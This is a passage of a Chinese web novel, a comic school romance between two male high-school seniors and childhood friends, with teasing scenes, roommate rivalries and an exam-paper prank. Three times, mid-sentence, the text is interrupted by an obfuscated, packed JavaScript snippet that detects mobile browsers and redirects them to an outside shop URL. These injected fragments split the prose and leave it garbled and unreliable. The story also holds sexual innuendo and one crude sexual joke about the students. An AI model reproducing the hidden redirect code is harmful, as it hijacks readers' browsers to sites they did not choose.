“我也没别的意思,就是不放心你自己擦,我就瞄一眼,真的,瞄完我马上就走,我发誓!否则我这一趟不就白来了?”萧驰焕说着,双手已经摸到了顾檐声的裤子。 凉风渗进了裤子缝里,顾檐声一下子慌了,连忙抓紧自己的裤子,硬着头皮说:“好了好了!你让我自己来!” 萧驰焕不信:“骗我怎么办?” 顾檐声:“……骗你我大肠末端长味蕾!” 萧驰焕:“6。” 没话说,这是真狼人。 他就把手松开了。 顾檐声做了一下心理准备,把手放在裤子边上,抬头就对上了萧驰焕亮如白昼的眼睛,顿时无比别扭,说:“你把眼睛闭上。” 萧驰焕不乐意:“闭上了我怎么看啊?” 顾檐声想了想,退而求其次:“那你先转过去,等我好了我喊你。” 萧驰焕撇嘴:“你才应该转过去吧,又不是要看我的屁股!” 顾檐声开始烦躁了:“我都妥协了,你就不能也退一步吗?你闭眼,我转过去,好了叫你,不愿意就算了,你爱看不看,神烦!” 萧驰焕一看顾檐声急眼了,连忙见好就收,乖乖闭上眼睛。 顾檐声悄悄伸手在萧驰焕眼前晃了晃,确认这人是真闭眼了,这才扭扭捏捏地转过身。 他在心里疯狂默念,不就是被直男看一眼?在澡堂又不是没看过,这会儿矫情个什么劲儿啊,太小心翼翼反而做贼心虚惹人怀疑。 是直男,就不怕被男人看屁股! 顾檐声拼命给自己洗脑了一通,深吸一口气,嗖地把裤子往下一拽,飞快说:“我好了!” 萧驰焕迫不及待地睁开眼睛。 而顾檐声则在开口的那一瞬间,就飞快将裤子提了回去。 萧驰焕余光只瞥见一抹白一晃而过,然后就没了。 萧驰焕顿时震怒:“你这是虚假交易,恶意欺骗消费者!啥玩意儿啊就没了,有一秒钟吗?啊?我连颗痣都没看见!” 顾檐声才不管,反正他已经按萧驰焕的要求做了,不算骗人:“怎么就欺骗了呢?不要睁着眼睛说瞎话,没看见就找找自己的原因好吧,这么多年了视力涨没涨,有没有认真看?” 我嘞个经典咏流传。 萧驰焕气得捂着胸口直喘气,三儿缓缓一笑:“行啊,那我就听你的,认真看呗。” 顾檐声察觉不妙,扭头就跑。 然而下一秒,他的脚底板忽然传来一阵麻痛,顾檐声顿时身体前扑跪在了地上。 靠,又来这招! 没等他爬起来,后背就贴上了一具结实滚烫的胸膛,腰也被一只健硕有力的臂膀死死禁锢住了。 顾檐声整个人顿时动弹不得,浑身毛都炸了。 不是,这个姿势怎么跟他前几天看的片儿那么像啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775630|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不太好吧……? 在他惊愕的这几秒,少年修长骨感的手指已经缓缓滑到了他后面的裤子缝儿,然后抓着他的裤子边往下拽。 顾檐声头皮都麻了! 艹,怎么连后续走向都跟那片儿里演的一模一样啊! 他该不会在做梦吧? 下一步是不是就要把他按在门上…… 不是,都什么时候了还精虫上脑! 顾檐声晃晃脑袋,反手攥住了萧驰焕的手腕,心慌意乱地说:“我错了我错了,再给我一次机会吧,我这次保证不耍赖了!” 萧驰焕哼唧:“信你不如信鬼。” 顾檐声默了一秒,能缩能伸:“哥哥,求你了。” 萧驰焕浑身一僵,立马不说话了。 虽然他俩差不多时间出生,但杨女士比较给力,提前几天把萧驰焕生了出来,顾檐声只能遗憾沦为一个弟弟。 小时候不懂事,顾檐声还会乖乖跟在萧驰焕屁股后面喊“焕焕哥哥”,等长大了知道哥哥不仅是一个称呼,更代表着江湖地位,就再也不轻易喊出口了,只偶尔在萧驰焕生气的时候会喊着哄哄他。 萧驰焕也是一个不争气的,吃死了顾檐声那一套。 这次也不例外。 时隔多年,再次听到顾檐声软乎乎地喊他“哥哥”,萧驰焕一下子美得连自己姓甚名谁都忘了。 “行吧,那就最后再给你一次机会,不过这次我看着你脱。”萧驰焕好歹留有一丝神智,松开顾檐声的裤子后,转而握紧了顾檐声的肩膀,另一手撑在顾檐声面前的墙上,用自己宽阔的身型将他牢牢锁在身前,以防他再次诓他。 顾檐声见实在躲不过去了,只好硬着头皮拉开后衣摆。 好在只是看看尾椎骨,不是真要他把裤子脱光光,他就扭捏地往下拽了一点点裤子边。 即使如此,顾檐声脸上的红晕也几乎顷刻蔓延上了整条脖子。 他做梦都没想过,他居然会对萧驰焕摆出这么羞耻的姿势。 真是疯了! 而在顾檐声看不见的背后,当顶端那条浅浅的沟壑出现的那一刻,萧驰焕的眼神骤然暗沉了下来。 “再往下来点儿,看不见。”萧驰焕嗓音莫名沙哑。 顾檐声脑内各种心猿意马,自己尚且心虚得要命,自然没有察觉萧驰焕的异常,闻言便又往下拉了一点。 此时此刻,他满脑子都只想赶紧配合萧驰焕看完了事,以免自己时间长了露出马脚。 在萧驰焕的视野里,身型纤瘦的少年以背对着的姿势跪俯在他身前,主动拉开了自己的裤子,露出一截白皙柔软的腰肢。 两个小小的腰窝沿着下压的腰线向内里凹陷,靠近尾椎骨的皮肤上居然还有一颗颜色浅淡的痣。 萧驰焕的呼吸一下子变得又重又急,脸上莫名燥热起来。 好奇怪…… 他也不是第一次看顾檐声的身体,小时候他们还经常帮对方搓澡,摸都不知道摸了多少次,怎么现在忽然感觉怪怪的? 果然还是因为这几年顾檐声对他冷淡了,搞得他对顾檐声的身体都变得生疏起来了。 他和顾檐声,明明就应该是水乳交融,不分你我的一对才对! 萧驰焕脑袋里乱糟糟的,想跟顾檐声亲近一下,又不知道从何下手。 忽的,他想起了他们小时候洗澡时最喜欢玩的游戏,便下意识同小时候一样,念出了动漫里那句经典台词:“超兽神七合体,超兽武装!” 与此同时,他伸出双手,对准顾檐声的腰窝,把两根大拇指跟插充电宝似的戳进了顾檐声的腰窝里。 动作行云流水,熟练又自然。 一看就知道小时候没少玩儿。 顾檐声只觉得一股过电般的麻痒迅速通向他的四肢百骸,接着腰肢如抽了力般瞬间塌软下来,整片脊椎连带尾椎骨都酥了。 身后传来萧驰焕振振有词的嗓音:“敌人在我面前,不是逃之夭夭,就是一败涂地!” 顾檐声:“……” 顾檐声:“………………………………” 15. 直男vs穿越 顾檐声背对着萧驰焕,脊背忽然开始剧烈震颤起来。 他整个人跟灵魂出窍似的,呆呆地低头跪着,一动不动,只有单薄的身体在寂静中震颤不已,仿佛一片摇摇欲坠的纸墙。 有的人看起来还活着,其实已经死了一会儿了。 萧驰焕没想到顾檐声的反应会这么大,愣了一下,犹豫地收回手。 他心虚地舔了一下嘴唇,小心翼翼地伸出手指,戳了戳顾檐声尾椎骨上的痣,没话找话道:“声声,你尾椎骨上真的有颗痣欸,我记得小时候还没有的,是这几年忽然长出来的吗?真他喵会长,可爱死了,牛逼。” 顾檐声根本不鸟他:“……” 已死,勿cue。 萧驰焕一下子慌了神,直觉自己是不是做错了什么事。 但若是真问他,他也憋不出一个屁来。 于是,他整个人就跟犯了错但又无知而单纯的大狗狗似的,戳一下顾檐声的后背,再戳一下,慌乱又迷茫:“你怎么了啊,怎么忽然被定住了?你这样搞得我好害怕啊,声声你说句话啊……” 他脚趾不停抓放袜子,灵魂急得上天入地:“难不成,你其实是一个机器人,那两个腰窝就是你的开关,就跟动漫里的小叽一样,然后由于我刚才不小心把你的开关给关上了,所以你现在处于关机模式,就动不了了,哈哈哈哈……” 寂静的寝室里只有萧驰焕一个人的笑声在回荡。 萧驰焕笑了一会儿,声音越来越小,越来越小,最后就闭上了嘴。 好他喵尴尬。 顾檐声现在整个人都麻了,不管是身体,还是内心。 他觉得自己简直就是一个大傻逼,脑子被狗啃了才会答应带这个狗东西回来。 他真傻,真的。 他单知道萧驰焕缺根筋,他不知道上帝在撒脑子的时候,萧驰焕打了一把伞。 这人根本没长脑子啊! 顾檐声缓缓闭上眼,心如死灰地开口:“三……” 刚说了一个数字,某人就已经连滚带爬地逃出了顾檐声的寝室,灵活得如同一条逃命的狗。 顾檐声一个人在寝室的地面上静静坐了许久,才像机器人重启一样四肢僵硬地爬起来。 安静了几秒,他突然像疯了一样疯狂挥舞四肢,开始单方面殴打无辜的空气。 我让你超兽武装!我让你一败涂地! 一败涂地你个%&¥*@¥…… 死狗变态流氓白痴臭狗屎!这辈子最讨厌直男了! 去死去死去死去死…… 顾檐声独自在寝室里发了一会儿疯,把自己累得气喘吁吁。 算了,还是赶紧去洗澡吧,要是待会儿又跟萧驰焕撞上,他怕自己会忍不住杀人。 总感觉好像忘了什么事…… 不管了,既然忘了,就说明不重要。 …… 夜晚,顾檐声躺在床上,将双手放置在胸前,安详地闭上眼睛,在心里反复默念一百遍“不要跟直男一般见识”。 过了一会儿,他猛地坐起来。 不是。 萧驰焕有病吧??? 他脑子钢筋做的吗?怎么能直成那样? 虽然他也没想过能用男人的身体掰弯一个直男,但是这也太抽象了吧? 把手指插在别人的腰窝里合体变身?他请问呢?这还是碳基生物吗? 这傻子不会以后跟人上床的时候,还一边做一边喊“天元剑为战而生至死方休”吧? 顾檐声觉得自己迟早有一天会忍不住把萧驰焕杀了,或者强了。 要不干脆先强后杀吧…… 算了别想了,睡吧,明天还要早起。 高三牲熬不了一点夜。 话又说回来,今天的寝室似乎安静得有些诡异,怎么都没人说话…… 下一秒,躺在床上的顾檐声忽然再次惊坐起来,瞬移般下了床,砰地冲出了寝室大门。 艹啊,寝室里根本没有人,有人说话岂不是闹鬼了? 直到此时此刻,顾檐声终于想起来了。 他亲爱的室友们还在超市没有回来! …… 顾檐声穿着睡衣冲出寝室时,正好撞见隔壁的门也同时打开了。 说实在的,他现在看见萧驰焕还挺尴尬,萧驰焕倒是没事人一样跟他打招呼:“这么巧,你也这么晚出来找室友啊?” 顾檐声一听,脸色一变,顿时没心思想别的了:“你是说,你的室友也没回来?不对,你室友什么时候跑出去的?” 萧驰焕对他的几个室友还算了解,心虚地摸摸鼻子说:“我回来之后就没看见了,咳,估计是偷偷跟着我一起出去的……” 话还没说完,顾檐声就抓起他飞奔起来:“那你还废什么话?赶紧出去找人啊!” 那两拨人凑一起还得了? 不出意外,应该是要出意外了! 顾檐声一路急火攻心地奔出男寝大楼,在无人的路上越跑越心凉,已经做好明天再写一份一万字检讨书的准备了。 结果跑到超市一看,预想中的断壁残垣完全没有看到。 灯还开着,超市里的人却都不知道跑哪儿去了。 看样子超市不是第一战场,也算不幸中的万幸了。 “他们该不会已经团灭了吧?”萧驰焕手指从光洁的玻璃上抹过去,惊叹道,“灭得连灰都不剩了!” 萧驰焕刚才洗完澡用了勤武焱的身体乳,一抹一个手指印。 顾檐声看见后,脸登时一黑,抬手就给了他后脑勺一巴掌:“别拿你的脏手碰我玻璃!我刚擦的!” “原来是你擦的,难怪跟镜子似的,这么干净!”萧驰焕对着玻璃哈了一口气,狗腿地用睡衣下摆抹干净了。 既然超市没人,顾檐声就把灯关了,打算出去找找。 萧驰焕连忙狗皮膏药似的贴上去。 那么宽的路不走,非要跟顾檐声挤着走。 胳膊擦着胳膊,屁股拱着屁股,恨不得把尾巴盘在顾檐声的腰上。 顾檐声嫌弃地啧了一声:“分头找更快。” 萧驰焕噘嘴:“我不要,我雷一个人。” 顾檐声嘴角一抽:“对不起,我雷你。” 萧驰焕:“宝宝你是一个雷公雷母,爱了爱了。” 顾檐声:“……” 他得承认,即使完美如他,也有终其一生无法匹敌的事物,就比如在抽象方面,他永远比不过萧驰焕这个天赋型选手。 …… 好在他们的室友没跑太远,两人很快在操场发现了他们的身影。 只见黑漆漆的操场上,两拨人正一前一后地绕着塑胶跑道跑圈。 勤武焱他们在前面逃,禹洪淼他们举着扫把拖把在后面追。 两拨人早就跑累了,但为了面子,谁也不乐意先停下来,渐渐的速度越来越慢,越来越慢。 到现在,与其说是跑步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775631|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不如说是在散步。 两拨人的速度默契地维持在同一条水平线上,画面看起来有一种诡异的和谐。 勤武焱:“你来追我啊,追到了就让你嘿嘿嘿。” 禹洪淼:“我嘿嘿你仙人板板!” 顾檐声:“……” 萧驰焕:“……” 看样子是还没打起来,就跑到操场跑圈了,然后就跟永动机一样停不下来了。 顾檐声松了一口气,没打起来就好。 他跟萧驰焕各自认领了自己的室友就回去了。 估计是跑累了,一群人回去的路上难得相安无事,只是寝室门一关,又开始在私下里大放厥词,嚷嚷着要当他们爸爸。 顾檐声不想听自己的室友说萧驰焕的坏话,默默在床上拉上床帘,戴上耳机,一边听英语听力,一边闭目养神。 等再把耳机取下来的时候,寝室里只剩禹洪淼的鼾声了。 人一到晚上就容易多愁善感,今晚发生的事情又多,顾檐声忍不住开始胡思乱想。 两边寝室的关系闹得这么僵,恨不得一见面就要打起来,顾檐声简直不敢想象,要是被室友们知道他喜欢萧驰焕,会发生什么…… 不对,首先他们就不一定能接受一个喜欢男生的室友。 还有萧驰焕…… 也不知道萧驰焕喜欢的那个女生时什么类型。 是开朗可爱型的,还是害羞恬静型的,或者是最近比较流行的搞笑女? 萧驰焕也挺抽象的,正好凑一对,平时无聊了还能一起讲个相声。 但可以肯定的是,无论那人是什么性格,都绝对不可能是一个男孩子。 顾檐声眼眶微微一热,不禁狼狈地躲进了被子里。 其实冷静想想,他完全没道理对萧驰焕撒气啊。 同性之间本来就不讲究什么,难道还指望萧驰焕像对待女生一样跟他整什么绅士礼仪吗? 更何况站在萧驰焕的视角,他们从小那么亲密无间,没道理长大了反而疏远了。 萧驰焕也只是在以一个直男的方式,对他表达亲近而已。 所以,尴尬的只有他,心虚的只有他,落荒而逃的也只有他。 是他自己心思不纯,萧驰焕才是那个受害者啊,他怨不得别人。 顾檐声不是没有过妄想,但如今萧驰焕有了喜欢的女生,他也是时候该彻底放手了。 …… 当晚,顾檐声又失眠了,索性躲在被窝里熬夜刷了一整晚的习题。 于是第二天,萧驰焕在课上困得飘飘欲仙,好像快飞升了。 怎么回事,他昨天没熬夜啊?怎么会这么困呢? 为了防止自己上课睡觉,萧驰焕课前特意含了一口水,想着嘴里有东西总不至于睡着了吧。 结果半晕半醒之间,萧驰焕忽然感觉自己大腿上冰凉凉的,好像下雨了一样。 他猛一下惊醒了,低头一看,原来是自己嘴里的水全流下来了飞流直下三千尺,跟瀑布似的。 他赶紧抹了一把嘴,满手的口水,连忙掏出卫生纸擦干净,又鬼鬼祟祟地抬起头,四下瞅瞅。 幸好没人注意到他,还不算太丢脸。 萧驰焕勉强松了一口气。 只是怎么眼睛一睁一闭,讲台上的语文老师就变成英语老师了。 萧驰焕:“……” 好家伙,他穿越了! 他从上节课,直接穿越到了下节课! 16. 可汗大点兵vs噩梦 大课间,百家讲坛又在说八卦了: “据说今早上课时,隔壁萧驰焕的嘴里突然留下一条长长的瀑布,从语文课一直流到英语课!他的嘴里很可能长了一个异世空间!” 顾檐声:“……” 先是铁蛋,现在是异世空间。 再过两天,萧驰焕在这群人的眼里可能连人都不是了。 他下意识掏出手机,想给萧驰焕发条消息,打开聊天框的时候,手指却微微一顿。 不是说好了,要下定决心远离了吗?他现在又是在干什么呢? 顾檐声收回了手指,顿了顿,想起什么,把对话框往右划了一下。 犹豫两秒,又划回来,盯着萧驰焕的头像看了半天,最后还是没有取消置顶。 算了。 …… 中午,萧驰焕一边打着哈欠,一边精神恍惚地跟室友们去食堂吃饭。 吃饭的时候,勤武焱一直拱着鼻子闻来闻去。 只要谁经过他旁边,他就马上把鼻子凑上去狂吸一通,男生女生都尖叫着从他身边跑开。 很快,整个食堂都知道了今天这里有个给子在吸男人阳气。 萧驰焕默默用手捂住了脸,丢人。 谣言转了一圈传回勤武焱耳朵里,勤武焱顿时炸了:“放屁!我明明是在闻香识女人!” 没错,他仍然没有放弃寻找那个让萧驰焕破戒的神秘的柠檬味女人! 胡啸天看戏:“那你倒是识出来没啊?” 勤武焱:“快了快了,我说真的,我鼻子可灵了!你们打个嗝儿我都知道你们中午吃的什么!” 潘铁心一脸嫌弃:“能说得这么恶心吗,吃饭呢。” 勤武焱正说着,脸色忽然一变:“等等,这个气味有点熟悉……卧槽!找到了!就是你!” 他激动地抬起头,下一秒,嘴里却发出难以置信的惊呼:“怎么是你?妹子呢?” 妹子没有,端着盘子一脸懵逼地路过的顾檐声倒是有一个。 潘铁心无情嘲笑:“哈,狗鼻子失灵了吧。” “不可能!我的鼻子绝对不可能出错的!”勤武焱不信邪,还想凑近再仔细闻闻。 没等顾檐声躲开,原本还在昏昏欲睡的萧驰焕突然跟个被侵占了地盘的狗狗似的蹿了起来,起身就往顾檐声冲过去。 顾檐声的三个室友误以为他想动手,第一时间冲到了顾檐声面前,一把将凑近的勤武焱推开,同时用警告的目光朝萧驰焕看去。 这下,原本正坐着看戏的胡啸天和潘铁心也在下一刻纷纷站了起来。 气氛几乎在一瞬间变得极为紧张。 顾檐声:“……” 要不要这么激动啊烙铁们。 天知道,他们连一句话都还没有说! 顾檐声和萧驰焕两人的长相本就显眼,又是出了名的关系不合,动静很快吸引了大半个食堂的视线。 这是要干架的节奏啊! 顾檐声下意识看向萧驰焕,只见他睡眼惺忪,眼神迷离,一副快要站着流口水的样子。 察觉到顾檐声的目光,萧驰焕本能地看过来,一脸痴傻:啊? 顾檐声:“……” 这傻狗是指望不上了。 顾檐声冷淡地收回视线,飞快运转大脑,想着赶快说点什么打破僵局。 就在这时,曾经在主席台上有过一面之缘的校园主持人不知从哪里蹿了出来。 只见他一手把饭勺举到嘴边,一边用洪亮的嗓音激情澎湃地介绍道: “亲爱的同学们,你们正在收看的是高三男子自由搏击竞赛直播现场!让我们一起将激动的目光投向我们的八位参赛选手!大家请看!首先为大家介绍的是来自高三三班的四位参赛选手,从左往右他们依次是:顾檐声,禹洪淼,岑修竹以及冯萌同学!接着为大家介绍来自高三四班的四位参赛选手,从右往左依次是:勤武焱,潘铁心,萧驰焕,以及最后一位,我们的胡啸天同学!大家掌声欢迎!” 众人:“……” 我嘞个可汗大点兵。 现场一愣,下意识顺着主持人的话鼓起了掌。 渐渐的,掌声越来越响,如雷如鼓,甚至还有人吹起了口哨。 好燃,就是不知道在燃什么。 请问还有什么比在公共场合被叫当众呼喊全名更尴尬的事情吗? 有,那就是不光喊你,还给你鼓掌,还给你吹口哨。 其中当属胡啸天最难受。 不是,凭什么他的名字排在最后一个啊,比其他人的社死时长足足多了一秒!这不公平! 一行人齐刷刷僵硬成木头,然后齐刷刷低头坐下,一边脚趾扣地,一边沉默地往自己嘴里扒饭,假装自己是一个小聋瞎。 比起一起社死,还是米饭更香。 吃饭吧,他们爱吃饭。 眼瞅着没戏看了,主持人失望退场,深藏功与名。 吃瓜群众们凑了几分钟热闹,也渐渐散了。 顾檐声就近坐在了萧驰焕他们的背后,一不小心就听到了他们的对话。 勤武焱还在怀疑人生:“这不对!我鼻子从小就灵,家里人放个屁我都知道是谁的,我不可能闻错!顾檐声身上那味儿,明明就跟那天萧总身上沾的那股子柠檬味儿一毛一样!” 顾檐声眼皮一跳,心脏一下子提了起来。 他从来没有想过自己会以这种方式掉马…… 萧驰焕的室友们该不会发现什么吧? 接着,胡啸天狐疑的嗓音也响了起来:“难道萧驰焕背着咱哥儿几个,偷偷跟顾檐声……” 顾檐声呼吸都凝滞了。 身后的萧驰焕却放下筷子,期待地朝胡啸天望了过去。 然后,两人就听到胡啸天自信满满地丢出剩下半句话: “……偷偷跟顾檐声约架去了!” 萧驰焕顿时无趣地重新拿起筷子:“猜得很好,下次别猜了。” 然而他的三个室友却坚定真相就是这么回事儿。 其中最失望的莫过于勤武焱,本以为能挖到桃色新闻,搞半天是男人间的斗争,对象还是顾檐声。 真没劲,散了散了。 勤武焱根本没想过别的可能。 就冲他俩这你死我活的劲儿,除了打架,还能是啥?总不能是在床上妖精打架吧哈哈哈! 背后,顾檐声却悄然松了一口气。 以这群人的眼力见儿,就算在他们面前打啵了,估计也只是以为他们是在用舌头打架呢,说不定都进去了还以为是萧驰焕几把冷了进到他身体里让他帮忙暖暖。 真是一群令人安心的直男。 …… 等顾檐声吃完饭,端着盘子离开后,萧驰焕却在背后悄悄回头看了一眼他的背影。 是错觉吗? 他总感觉,今天顾檐声看向他的眼神好像有点冷漠。 …… 晚自习,数学老师让课代表把昨天做的卷子发下去,结果全班的卷子都发完了,顾檐声也没拿到自己的。 他心里奇怪,只好起身去找课代表。 课代表愣了一下,说:“哦,那可能是你没写名字吧,没写名字的都在老师那儿,说是一会儿要你们自己去讲台找他拿,给你们长个记性。” 顾檐声眉头一皱:“不可能啊,我拿到卷子的第一件事永远都是把名字写上。” 课代表:“那我就不知道了,总不能是写错了吧哈哈哈。” 课代表是开玩笑,顾檐声却听得眉心一跳,心里隐隐有种不祥的预感。 果然,等数学老师进教室后,顾檐声和没写名字的几个人一起去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775632|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲台找自己的卷子,却仍然没找到自己的。 就在这时,身旁的数学老师单独举起一张试卷,优哉游哉地问:“哪位是……萧驰焕的小宝贝?” 全班一愣,下一刻满堂哄笑。 顾檐声:“……” 这张卷子他能不要了吗? 顾檐声硬着头皮走了过去,说:“老师,可以给我看一眼吗?那好像是我的。” 数学老师拉长音:“哦,原来你就是萧驰焕的小宝贝啊。” 全班笑得更欢快了,顾檐声的脸也红透了,在心里暗暗把那个大傻狗骂了一百遍。 他现在已经反应过来了,估计是昨天晚上带萧驰焕去他寝室时,萧驰焕趁他去厕所擦药,偷偷在他卷子上改的! 本来应该在那人走后仔细检查一下的,结果马上就被那见鬼的超兽武装给打懵了…… 算了,不提也罢。 数学老师把卷子还给了顾檐声,半是提醒半是调侃道:“知道你跟隔壁班的萧驰焕同学关系不好,但私底下闹归闹,别拿作业开玩笑,以后交作业,记得把班级姓名都检查一下,我可不想下次作业收上来一看,哦豁,高三四班顾檐声,直接转了个班!” 没看出来,数学老师还是个rapper。 空气里一时间充满了快活的气息。 顾檐声红着脸连连道歉,等老师点头后,赶紧捂脸跑下去了。 回到座位,室友们已经在宿舍群里刷起了屏。 【大长杆君】:艹艹艹,萧老狗居然敢这么耍你!太他喵阴了! 【你的洪来喽】:喵的敢对我仙儿不敬,我来上学就是来让我家仙儿当皇帝的!顺我仙儿者昌,逆我仙儿者亡!能面刺仙儿之过者,诛九族!上学谏仙儿者,处极刑!谤讥于市朝闻仙儿之耳者,赐自尽! 【逢题就蒙】:@封心锁爱累觉不爱,下次咱们也把他的作业偷过来,你把他的名字也改成“顾檐声的小宝贝”!丢死他的人! 顾檐声:“……” 这,丢脸的似乎只有他,毕竟萧驰焕没脸可丢。 他在群里随便发了两个表情包,把这事儿敷衍了过去。 …… 而隔壁的萧驰焕苦苦等了一晚上,都没有等来找他算账的顾檐声。 难道数学卷子还没有发下去吗?不应该啊! 那么大的“萧驰焕的小宝贝”七个字,就没一个人发现吗? 半夜,萧驰焕实在困得不行,手机屏幕亮着就睡着了。 他做了一个梦。 梦里,他像小时候一样,乐颠颠地追上顾檐声的背影,从身后抱住了顾檐声的腰,跟他打招呼。 这时,顾檐声回头,用一种他从来没有见过的冷漠至极的眼神看向他。 少年眉目清隽,眸子深黑,里面没有一丝温度,仿佛一场盛大的默剧,透射着令人心惊肉跳的陌生和疏离。 他问:“你是谁?” 萧驰焕一下子被问懵了。 他还能是谁啊?他是你最好的朋友啊! 顾檐声眉头轻皱,用一种极为嫌弃和冷淡的声音,一字一字砸在萧驰焕的心口:“对不起,这位同学,我根本不认识你,请你自重。” 怎么会……怎么可能不认识呢? 他们可是从小一起长大的竹马,他们是全世界最亲密无间的人,顾檐声可以不认识他呢?! 顾檐声丢下这句冷若冰霜的话,转身头也不回地走了。 不……别走! 求你了,顾檐声,别离开我—— 下一秒,萧驰焕猛地睁开眼睛,浑身冷汗地惊醒了。 他呆呆地望了许久的天花板,整个人浑浑噩噩,眼珠布满血丝,俨然还沉溺在恐怖的梦魇里没有完全清醒过来。 半晌,萧驰焕嘴巴颤了颤,“呜哇”一声吓哭了。 17. 爷爷桨完了vs道歉 萧驰焕突如其来的嚎声把整个寝室都吓醒了。 “有敌袭!兄弟们快跑!”下铺的胡啸天尖叫一声睁开眼睛,嗖地钻进床底躲了起来。 “什么?学校炸了?”勤武焱一脸懵逼地坐起身,和仰面掉到地上的潘铁心对了个正眼。 潘铁心从地上一脸恍惚地爬起来,看到满脸泪的萧驰焕,差点再一次被吓得掉下去,他飞奔过去抓住萧驰焕肩膀:“卧槽,焕啊,你怎么了?家里出什么事儿了?” 萧驰焕看清室友的脸,缓缓回过神,他用力抹了一把脸,想起刚才恐怖的梦境,眼睛一酸,顿时又想哭了:“我……梦到他不要我了。” 整个寝室顿时倒吸一口气。 没想到一大早就能听到这么劲爆的消息! 不对,等一下,那好像只是梦? 室友们反应过来,顿时有些失落……不是,是替萧驰焕感到庆幸。 “只是梦而已,梦都是相反的。”胡啸天安慰道。 潘铁心嘴巴比脑子快:“如果是预言梦呢?” 勤武焱赶紧掐了他一下。 潘铁心连忙改口:“我是说,梦又不是真的,你就算要哭,也得等真的发生了再……” 勤武焱绝望地捂住了他的嘴巴:“死直男,你快闭嘴吧!” “你说得对,就算要哭,也得真的发生了再哭。”萧驰焕说着,默默起床洗漱,很快收拾好自己,拎起书包就往外走。 胡啸天看他走这么急,忍不住问:“你干嘛去啊?” 萧驰焕头也不回地说:“去找顾檐声。” 说完,他大步流星地推门出去了。 室友们一愣,随后飞快捯饬起来。 靠,找隔壁麻烦这么好玩的事,他们可不能错过! 勤武焱一边穿衣服,一边抓狂地挠头发:“所以说,跟萧驰焕暗度陈仓的那个人到底是谁啊!我疯了!” …… 顾檐声最近心情不好,昨晚又捱了半天才睡着,今早难免起晚了一点。 萧驰焕在他卷子上乱写名字的事情,说实话,挺幼稚的,这招萧驰焕在幼儿园的时候就玩过了,顾檐声也没往心里去。 本以为这事儿就这么过去了,没想到早上路过四班的教室时,里面忽然有人喊了他一声: “顾檐声,看这边!” 顾檐声下意识往里面看去。 萧驰焕的三个室友东倒西歪地坐在桌子上,踩着椅子,嬉皮笑脸地对着窗外的他说:“萧驰焕的小宝贝来喽~” 顾檐声:“……” 顾檐声幽幽地看向萧驰焕的座位。 只见罪魁祸首吊儿郎当地靠在椅子上,翘着二郎腿,晃着脚,好整以暇地等待欣赏他恼怒的表情。 见他看过来,这人还当着全班吃瓜群众的面,轻挑半边眉,不知廉耻地给了他一个极为肉麻的飞吻。 四班的人只当萧驰焕这是在挑衅,甚至激动得吹起了口哨。 然而从头到尾,顾檐声一点反应都没有。 他默默看完了这群人的表演,连眉毛都没抬一下,最后在渐渐冷却尴尬下来的气氛里,面无表情地走掉了。 顾檐声一走,四班教室炸了: “靠,他刚才是不是在嘲讽我们?” “我忽然觉得我刚才的样子好像一个大傻子!” 萧驰焕脑袋里乱哄哄的,二郎腿也不翘了,忽然觉得自己心慌得厉害。 不会的,那只是一场梦而已,顾檐声怎么可能真的不认识他呢? 声声他只是精神不太好,懒得搭理他而已。 等着看吧,保不齐声声已经在心里暗搓搓地准备报复回来了。 然而昨晚的梦就仿佛一个恐怖的诅咒,今天顾檐声的每一个细微的神情都似乎在逐渐往梦里贴近。 萧驰焕一面在脑子里疯狂给自己洗脑,一边怀抱着最后一丝希望,满心期待着顾檐声什么时候找上门来给他松松筋骨。 结果这一等,就是一整天。 萧驰焕傻眼了。 手机没动静,厕所偶遇也不搭理,路过他教室更是目不斜视,连余光都不给他一个。 这是玩儿冷战呢?真生气了? 可是为什么啊? 是上次卷子名字的事吗?还是早上当众调戏的事? 萧驰焕心里不禁有点打鼓,他不怕顾檐声骂他甚至打他,就怕顾檐声不搭理他。 前面疏远的那四年,几乎给他留下了心理阴影,难得这段时间因为那奇奇怪怪的魔法,他俩的关系稍微亲近了一点,他可不想一朝回到解放前。 想到这里,萧驰焕试探地给顾檐声发去了一条消息。 【你的颜你的脸你的眼睛像痞眼】:宝,我给你讲个故事吧! 【封心锁爱,累觉不爱】:…… 【你的颜你的脸你的眼睛像痞眼】:从前有个老爷爷带着孙子去划船,这时,一个大浪突然打了过来,船被打翻了,爷爷的桨也被打坏了,爷爷惊恐地对孙子说了一句话,你猜是什么? 【封心锁爱,累觉不爱】:…… 【你的颜你的脸你的眼睛像痞眼】:爷爷说:孙子!爷爷桨完了哈哈哈哈哈哈哈 【封心锁爱,累觉不爱】:…… 